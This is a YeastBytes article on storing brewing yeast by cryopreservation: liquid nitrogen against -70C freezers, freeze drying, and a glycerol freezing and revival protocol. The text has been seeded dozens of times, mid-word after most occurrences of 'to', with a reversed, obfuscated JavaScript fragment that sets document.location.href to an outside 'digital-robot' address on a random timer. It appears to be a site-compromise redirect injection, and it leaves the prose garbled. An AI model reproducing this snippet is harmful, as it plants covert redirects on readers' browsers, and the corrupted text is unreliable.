Cryopreservation – stayin’ alive

Not surprisingly nervous, my first ever public lecture was interrupted by my PhD supervisor. I was talking about how yeast – a lower eukaryote – can be used as a model for what happens in higher eukaryotes like human beings. Jim didn’t take kindly tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Saccharomyces cerevisiae being described as ‘lower’, after all he said ‘it makes its own alcohol’!

Whilst an important observation (I can still remember his ‘four star’ sloe gin) it was not the time or the place tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to compare the relative merits of cellular home brewing with the Seven Wonders of the World.

Of course the serious point is that yeast is not only our favourite microorganism for what it does but also for what it tells us about what makes Homo sapiens tick. In part this reflects the astobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonishing fact that ‘about 30% of human disease associated genes significantly match yeast genes’ (Foury, Gene, 1997, 195, 1-10). Further, the tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tools and the techniques used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to unravel the yeast genome were subsequently applied tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Human Genome project in a scaled-up form. The relationship extends – at the slightly more mundane level – tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the technology of cryopreservation which is being used with both yeast and man.

Cryopreservation seems tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have replaced scintillation counters and centrifuges as the media’s favourite laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory image. Frost covered cannisters, bubbling and wafting with nitrogen vapour as a suitably gowned and visored scientist fumbles in bulky gloves tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to remove a tray or cane. Such images invariably adorn any TV piece about human embryology as cryopreservation is the gold standard method for the stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage of eggs, embryos and semen. The visual drama is provided by liquid nitrogen as it is in this that cells and tissues are stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tored at 77 K or −196 ?C. At this temperature cells are in a state of ‘suspended animation’, alive but with little biological activity. This method is also used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore yeast where – as described in the last issue of YeastBytes – it is the creme de la creme of stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage methods

In passing, cryopreservation underpins ‘cryonics’, in which clinically dead humans (either ‘whole body’ or heads) are rapidly prepared then stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tored in liquid nitrogen tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to await advances in medicine that will be used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to resuscitate them. To find out more about this macabre but fascinating subject see Wikipedia.

Yeast stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage in liquid nitrogen ticks all the boxes in terms of viability and genetic integrity. However, as we will see, such perfection comes at the cost of expertise, quality systems and hardware. Despite this, cryopreservation is the method of yeast stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage used by brewers, big and small. This both celebrates the critical importance of yeast tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to brand integrity and differentiation tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together with the recognition that yeast ‘masters’ must be stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tored in a way that minimizes any possibility of change.

Other methods – such as slopes or liquid cultures – whilst appropriate in the short term, have no place in the long term stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage of yeast. Such concerns are not nullified but amplified by periodic sub-culturing. Although used in the past, freeze drying or lyophilization has no place tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}today in yeast stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage. Regrettably this method results in catastrophically low viability and enrichment in genetic variants. Conversely, stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage in -70C freezers is increasingly finding favour because of its convenience relative tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to immersion in liquid nitrogen. Whilst custobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom and practice suggests this approach has value there is some evidence that viability can be compromised. This – tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together with the observation that stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage at – 139C (liquid nitrogen vapour phase) allows biochemical processes tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to continue – suggests that -70C stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage may require further validation for the stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage of commercially important yeasts. Those who choose tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to go down this route in stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toring their precious yeast cultures should be aware of the risks.

Inevitably having picked up on the upsides, cryopreservation has some relative downsides. There is the capital cost of cryovessels and the revenue cost of liquid nitrogen and consumables. Best practice also requires decent laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory facilities and at least a laminar air flow cabinet. More telling is the expertise and discipline required tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore and recover yeasts in this way. Pure strains should be pregrown on an oxidative carbon source and then resuspended (ca. 100 million cells/ml) in fresh media containing glycerol as a cryoprotectant. Aliquots in ampoules (0.5 ml) or straws (0.2 ml) must be carefully cooled from room temperature tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to -30C over a two hour period followed by immersion in liquid nitrogen. This phase is key tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to retaining excellent viability whilst, conversely, revival following stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage is achieved by rapid immersion in water at 25-37C.

Surrounding yeast stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage and its subsequent supply is a host of checks and balances. Anybody who has the misfortune tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work with a rogue yeast in their brewery will understand the importance of removing (or at best minimizing) the risk of any errors. Although the subject of a future piece, a well designed microbiological testing plan, DNA fingerprinting and documentation are all required tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to underpin successful yeast supply. Oh yes – and the process works best with two people, one ‘tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do’ and one ‘tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to observe and provide support’!

First published 1 May 2007 in YeastBytes

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